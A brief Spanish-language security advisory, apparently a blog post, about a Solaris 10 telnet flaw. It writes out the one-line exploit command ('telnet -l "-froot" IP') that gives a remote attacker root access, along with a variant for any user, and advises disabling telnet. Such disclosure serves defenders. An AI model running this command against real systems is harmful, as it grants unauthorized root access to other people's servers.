Bug de seguridad en Sun Solaris 10 (Otras versiones pueden ser vulnerables) que permite a un atacante externo con acceso al servidor de telnet obtener privilegios de root fácilmente.

$ telnet -l "-froot" IP

También cualquier otro usuario mediante:

$ telnet -l "-fusuario" IP

No existe parche oficial. Se recomienda deshabilitar el acceso por telnet (puerto 23).

Fuente: http://blogs.securiteam.com/index.php/archives/814